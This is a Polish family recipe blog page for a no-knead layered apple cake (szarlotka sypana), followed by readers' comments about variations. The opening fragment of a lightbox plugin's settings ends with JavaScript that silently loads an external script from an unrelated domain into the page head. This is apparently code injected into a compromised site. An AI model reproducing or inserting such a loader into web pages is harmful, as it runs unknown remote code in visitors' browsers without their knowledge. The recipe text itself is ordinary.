, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Szarlotka sypana, która robi się sama!

Wydrukuj artykuł Wydrukuj artykuł

Szarlotka sypana, robi się sama!

To ciasto robi się samo – błyskawicznie i jest pyszne! Przepis mnie zaciekawił, ponieważ nie ma w nim jajek, ani ugniatania, ucierania czy ubijania. Można zrobić po cichutku, nawet o 23.00 gdy dzidzia słodko śpi.

Idealny dla zabieganej mamy… i zabieganego taty!

Przepis zmodyfikowałam nieco, ponieważ dostałam furę jabłek od mamy (czyli Babci Danusi), które koniecznie chciałam wykorzystać. Jabłka oczywiście były już obrane i pokrojone jak zwykle – idealne.

Składniki:

  • 1 szklanka mąki pszennej (można zrobić pół na pół z mąką razową)
  • 1 szklanka cukru (lub mniej, w zależności od słodkości jabłek)
  • 1 szklanka kaszy manny
  • 1,5 czubatej łyżeczki proszku do pieczenia
  • 1,5 kg jabłek, najlepiej kwaśnych
  • cynamonu lub przyprawa do szarlotki
  • 3/4 kostki masła (około 170 g)

Mąkę, cukier, kaszę i proszek wymieszać w misce. Do sypkich produktów można dodać mielone migdały lub orzechy:)

Jabłka obrać, wydrążyć gniazda nasienne, zetrzeć na tarce o dużych oczkach. (Tak było w oryginalnym przepisie, ja stwierdziłam, że wrzucę duże kawałki jabłek). Spód tortownicy o średnicy 23 (użyłam tortownicy o średnicy 26) wyłożyć papierem do pieczenia (sam spód – jak? najlepiej przyciąć papier nożem tuż przy krawędzi). Boki wysmarować masłem.

Na dno formy wysypać jedną szklankę  suchych składników, na nie rozłożyć połowę jabłek (każdą warstwę jabłek można oprószyć delikatnie cynamonem, lub przyprawą do szarlotki). Następnie wysypać drugą część suchych składników, rozłożyć równomiernie resztę jabłek. Na wierzch wysypać ostatnią porcję suchych składników.

Masło zetrzeć na tarce o dużych oczkach i równomiernie rozłożyć na wierzchu ciasta. Ja starłam na plasterki – ważne by masło pokryło całość ciasta równomiernie. Masło najlepiej wcześniej dobrze schłodzić, np. przez 10 min w zamrażarce.

Włożyć do piekarnika rozgrzanego do temp. 180ºC . I wtedy ciasto zabiera się do roboty, przez 60-90 minut masło podczas pieczenia się topi i razem z sokiem z jabłek zespala wszystkie warstwy. Podczas pieczenia warto spód zabezpieczyć większą formą, lub blachą (np. położoną poziom niżej w piekarniku), ponieważ nadmiar soku lub tłuszczu może wydostać się z tortownicy.

Szarlotka jest baaardzo dobra, z wierzchu pysznie chrupiąca i chyba nie muszę pisać, że Igorek zajadał się nią z wielkim uśmiechem – nawet nie zdążyłam zrobić zdjęcia!

Smacznego :) Przepis pochodzi z mojewypieki.blox.pl

Kategoria: Bez kategorii 8 komentarze »

8 odpowiedzi to “Szarlotka sypana, która robi się sama!”

  1. Kama

    Ponieważ również otrzymujemy od babci Danusi jabłka z tego samego drzewa co Wy, zrobiłam wczoraj to ciacho. Dodałam orzechy-roztłuczone tłuczkiem, więc w większych kawałkach, bo nie mam moździerza. Wyszło pyszne, pasują do niego kwaśne jabłka. Szukajmy pomysłów co zrobić z 3/4 wiaderka jabłek, które zostały:)

  2. Mania

    Ta szarlotka jest bombowa :) Ja też ją czasem robię bo to dla leniwców kuchennych w sam raz :) Fajny jest pomysł Kamy żeby dodać orzechów, muszę spróbować. Pozdrowienia :)

  3. Max

    Lubię TO :-)

  4. Kama

    Chciałam zgłosić, że jak wspomniałam o tym mojej macosze, to jej się łezka w oku zakręciła, bo 30 lat temu podobno robiła to ciasto i bardzo mnie prosi o przepis:)

  5. Agathorre

    Świetny pomysł z orzechami! ja ostatnio dodałam orzechy włoskie w dużych kawałkach i ciasto było jeszcze pyszniejsze!

  6. Agathorre

    smak tego ciasta…mmm… po prostu trudno zapomnieć:)

  7. agi

    Pycha to prawda! Z orzechami jest boskie…. Następnym razem dodam jeszcze wymoczone wielkie rodzynki :d

  8. danuta

    ja ten przepis już dawno wypróbowałam,ale pamiętam,że zamiast kaszy była bułka tarta.zresztą można to zastąpić wieloma produktami.myślę,że zależy od naszego pomysłu czy damy kaszę manną czy płatki owsiane.fajne ,że nie trzeba tyle czasu to kręcić,ucierać itp.


Skomentuj...



Początek strony